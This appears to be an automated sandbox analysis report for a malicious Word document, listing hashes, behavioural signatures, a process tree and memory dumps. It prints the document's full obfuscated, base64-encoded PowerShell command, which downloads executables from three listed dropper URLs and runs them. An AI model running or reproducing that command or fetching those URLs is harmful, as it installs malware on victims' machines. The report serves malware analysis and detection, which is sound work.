Analysis

  • max time kernel
    127s
  • max time network
    115s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    01-07-2022 07:11

General

  • Target

    d8101b2e4f835e485af2454cbf4c1a3cb347cbf77f065932d350af4cbac136a1.doc

  • Size

    162KB

  • MD5

    ec469b83d15d1579617a3e9b6598c062

  • SHA1

    f648aa6fe1134cf1616e83ab953150f2e810952d

  • SHA256

    d8101b2e4f835e485af2454cbf4c1a3cb347cbf77f065932d350af4cbac136a1

  • SHA512

    8ac5c94344d9fb0f9fc0ceed5e2937c0c7711452a4b3dc76f363df99d08b008c3cf6295d11120e585e319d7bf61f58732653f523abde39a77a9b82c140639a32

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://chistyshifaclinic.com/administrator/modules/mod_multilangstatus/language/verizon-bill-1.content.exe

exe.dropper

http://jaydeemory.com/administrator/components/com_privacy/controllers/verizon-bill-2.content.exe

exe.dropper

http://80.211.250.213:8080/es478oVMLwLrqZLe8x90y3c5

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d8101b2e4f835e485af2454cbf4c1a3cb347cbf77f065932d350af4cbac136a1.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1824
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:956
    • C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHelL.exe
      PoWeRsHelL -e JABhAGsAUQB4AEEAXwB4AD0AKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwBMAEEAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAEQAXwAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBCACcALAAnAFoAbwBRACcAKQApACkAOwAkAFkAQgBBAEEAMQAxAFUAIAA9ACAAJwA0ADUANAAnADsAJABDAEEARABfAEIAQwBEAD0AKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAJwBIAEEAXwAnACwAJwBfACcALAAnAEEAbwBVACcAKQA7ACQARwBBAGMAQQBHAHgAMQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWQBCAEEAQQAxADEAVQArACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAZQB4AGUAJwAsACcALgAnACkAOwAkAEwAWgBBAEEAQQBBAD0AKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAGYAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAJwBBAFUAQQAnACwAJwBBACcAKQAsACcAQgAnACkAKQA7ACQASgBrAFEANAB3AFEAQQBRAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAYABUAGAALgB3AEUAYABCAGMAbABpAGUATgB0ADsAJABYAHcAVQBBAEEAdwBEAD0AKAAiAHsAMwB9AHsAMgA3AH0AewAxADEAfQB7ADAAfQB7ADEAMwB9AHsAMwA3AH0AewAzADIAfQB7ADQAfQB7ADMAOQB9AHsAMwA1AH0AewAyADQAfQB7ADMAOAB9AHsAMgAxAH0AewAxADgAfQB7ADIANQB9AHsAMQAwAH0AewAzADAAfQB7ADYAfQB7ADIAfQB7ADEAOQB9AHsAMgA5AH0AewAyADYAfQB7ADIAMwB9AHsAMwAxAH0AewA4AH0AewAxADUAfQB7ADEANAB9AHsANAAxAH0AewAzADMAfQB7ADQAMAB9AHsAMgAyAH0AewA1AH0AewAzADQAfQB7ADEANwB9AHsAMQAyAH0AewAyADgAfQB7ADEAfQB7ADMANgB9AHsAOQB9AHsANwB9AHsAMQA2AH0AewAyADAAfQAiAC0AZgAnAGwAJwAsACcALgAyADEAJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcALwAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAC8AJwAsACcAdABwADoAJwApACkALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcAaAB0ACcALAAnAHQAcAA6ACcAKQAsACgAIgB7ADIAfQB7ADEAfQB7ADAAfQAiAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAbwBkACcALAAnAHUAbAAnACkALAAnAC8AbQAnACwAJwB0AG8AcgAnACkALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAGkAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAG8AbgAtACcALAAnAHoAJwApACkALAAnAGgAdAAnACwAKAAiAHsAMAB9AHsANgB9AHsAMQB9AHsAMwB9AHsANQB9AHsAMgB9AHsANAB9ACIALQBmACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAOAAnACwAJwA6ADgAMAAnACkALAAnAHMANAAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAdwAnACwAJwBMAHIAcQBaAEwAZQA4ACcAKQAsACcANwA4ACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnADkAMAB5ACcALAAnAHgAJwApACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBvAFYATQAnACwAJwBMACcAKQAsACcAMAAvAGUAJwApACwAJwByAGEAJwAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiACAALQBmACcANQAnACwAJwAxADMAJwAsACcAMAAuADIAJwApACwAJwB0AC4AZQAnACwAJwBmAGEAYwAnACwAKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAHgAZQBAACcALAAnAGgAJwApACwAJwBlACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAG4AdAAuACcALAAnAHQAZQAnACkAKQAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAaQBuAGkAJwAsACcAYwAnACkALAAoACIAewAyAH0AewA0AH0AewAxAH0AewAwAH0AewAzAH0AIgAtAGYAJwByAGkAdgAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBvAG0AJwAsACcAXwBwACcAKQAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAG4AZQBuACcALAAnAG8AJwApACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcALwBjAG8AbgB0AHIAJwAsACcAYQBjAHkAJwApACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAcwAvAGMAJwAsACcAdAAnACkAKQAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiACAALQBmACAAJwB0ACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAHAAJwAsACcAYwBvAG0AJwApACwAJwBvAHIALwAnACkALAAnADMAJwAsACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAC4AYwBvACcALAAnAC0AMgAnACwAJwBuACcAKQAsACcAdAAnACwAJwBqACcALAAnAGMANQAnACwAKAAiAHsAMQB9AHsAMAB9AHsAMwB9AHsAMgB9ACIALQBmACAAJwBsACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBpAGwAJwAsACcALQBiACcAKQAsACcAbwBuACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwAxAC4AYwAnACwAJwAtACcAKQApACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwAvAHYAJwAsACcAZQByACcAKQAsACcAcgB5AC4AJwAsACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiAC0AZgAnAC8AbAAnACwAJwBhAG4AJwAsACcAZwB1ACcAKQAsACcAZQBuACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBlACcALAAnAGUAbQBvACcAKQAsACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiACAALQBmACcALwAnACwAJwAvAGMAaAAnACwAKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAHMAaABpACcALAAnAHQAeQAnACwAJwBpAHMAJwApACkALAAoACIAewAxAH0AewAwAH0AewAyAH0AIgAtAGYAJwBwADoALwAnACwAJwB0AHQAJwAsACcALwA4ADAAJwApACwAJwBhAHkAZAAnACwAJwB4AGUAQAAnACwAKAAiAHsAMAB9AHsAMQB9AHsAMgB9ACIALQBmACcAYwAnACwAKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAJwBvAG0ALwAnACwAJwBkAG0AaQBuACcALAAnAGEAJwApACwAJwBpAHMAdAAnACkALAAoACIAewAyAH0AewAwAH0AewAxAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBzAHQAcgAnACwAJwBtAGkAbgBpACcAKQAsACcAYQAnACwAJwBkACcAKQAsACcAbAAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAaQBsAGwAJwAsACcAYgAnACkALAAoACIAewAwAH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAGEAbgAnACwAJwB1AHMAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAHMAdABhAHQAJwAsACcAZwAnACkAKQAsACcAMQAuADIAJwAsACgAIgB7ADIAfQB7ADEAfQB7ADAAfQAiACAALQBmACcALwBhACcALAAnAG0AJwAsACcALgBjAG8AJwApACwAKAAiAHsAMwB9AHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAJwBuACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAegBvACcALAAnAHIAaQAnACkALAAnAC8AdgBlACcALAAnAGEAZwBlACcAKQAsACgAIgB7ADIAfQB7ADEAfQB7ADAAfQB7ADMAfQAiAC0AZgAnAHQAaQAnACwAJwBtAHUAbAAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwBlAHMALwBtAG8AZAAnACwAJwBfACcAKQAsACcAbAAnACkALAAnAGUAcgBzACcALAAnAG8AbAAnACkALgAiAHMAYABQAGwASQB0ACIAKAAnAEAAJwApADsAJABWAFgAUQBBAFgAbwA9ACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiACAALQBmACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAJwBEACcALAAnAEEAYwBBACcAKQAsACcAbwA0AEIAJwAsACcAXwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABBAEEAQQBBAEIAawBBAHcAIABpAG4AIAAkAFgAdwBVAEEAQQB3AEQAKQB7AHQAcgB5AHsAJABKAGsAUQA0AHcAUQBBAFEALgAiAGQAbwB3AGAATgBsAGAAbwBhAEQAZgBJAGwAZQAiACgAJABBAEEAQQBBAEIAawBBAHcALAAgACQARwBBAGMAQQBHAHgAMQApADsAJABMAEMAQwBBAEEAMQA0AD0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIALQBmACAAJwBRACcALAAnAG4AJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAYwAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAEEAUQAnACwAJwBDAEEAJwApACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABHAEEAYwBBAEcAeAAxACkALgAiAEwARQBgAE4AYABHAHQASAAiACAALQBnAGUAIAAyADkAMwA1ADAAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrAGUALQAnACsAJwBJAHQAZQBtACcAKQAgACQARwBBAGMAQQBHAHgAMQA7ACQAUgBBAEQAawBVAF8ARwBfAD0AKAAiAHsAMAB9AHsAMQB9AHsAMgB9ACIAIAAtAGYAIAAnAGoAJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAQQBBADQAJwAsACcAWgBBACcAKQAsACcAYwBBACcAKQA7AGIAcgBlAGEAawA7ACQAWgBVAFUAUQA0AEEAPQAoACIAewAyAH0AewAwAH0AewAxAH0AIgAtAGYAJwBaADEAJwAsACcARAAnACwAJwBvAEEAQQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHQAQQB3AEEAVQBBAFgAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAgAC0AZgAnAEEAQgAnACwAJwBOAFoARwAnACwAJwBBAFgAQgAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:608

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/608-71-0x000000000269B000-0x00000000026BA000-memory.dmp

      Filesize

      124KB

    • memory/608-69-0x000000001B750000-0x000000001BA4F000-memory.dmp

      Filesize

      3.0MB

    • memory/608-67-0x000007FEF3C20000-0x000007FEF4643000-memory.dmp

      Filesize

      10.1MB

    • memory/608-68-0x000007FEF30C0000-0x000007FEF3C1D000-memory.dmp

      Filesize

      11.4MB

    • memory/608-75-0x000000000269B000-0x00000000026BA000-memory.dmp

      Filesize

      124KB

    • memory/608-74-0x0000000002694000-0x0000000002697000-memory.dmp

      Filesize

      12KB

    • memory/608-73-0x000000000269B000-0x00000000026BA000-memory.dmp

      Filesize

      124KB

    • memory/608-72-0x0000000002694000-0x0000000002697000-memory.dmp

      Filesize

      12KB

    • memory/608-70-0x0000000002694000-0x0000000002697000-memory.dmp

      Filesize

      12KB

    • memory/956-60-0x000007FEFBFA1000-0x000007FEFBFA3000-memory.dmp

      Filesize

      8KB

    • memory/1824-77-0x00000000714FD000-0x0000000071508000-memory.dmp

      Filesize

      44KB

    • memory/1824-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1824-54-0x0000000072A91000-0x0000000072A94000-memory.dmp

      Filesize

      12KB

    • memory/1824-61-0x00000000714FD000-0x0000000071508000-memory.dmp

      Filesize

      44KB

    • memory/1824-55-0x0000000070511000-0x0000000070513000-memory.dmp

      Filesize

      8KB

    • memory/1824-58-0x0000000075381000-0x0000000075383000-memory.dmp

      Filesize

      8KB

    • memory/1824-76-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1824-57-0x00000000714FD000-0x0000000071508000-memory.dmp

      Filesize

      44KB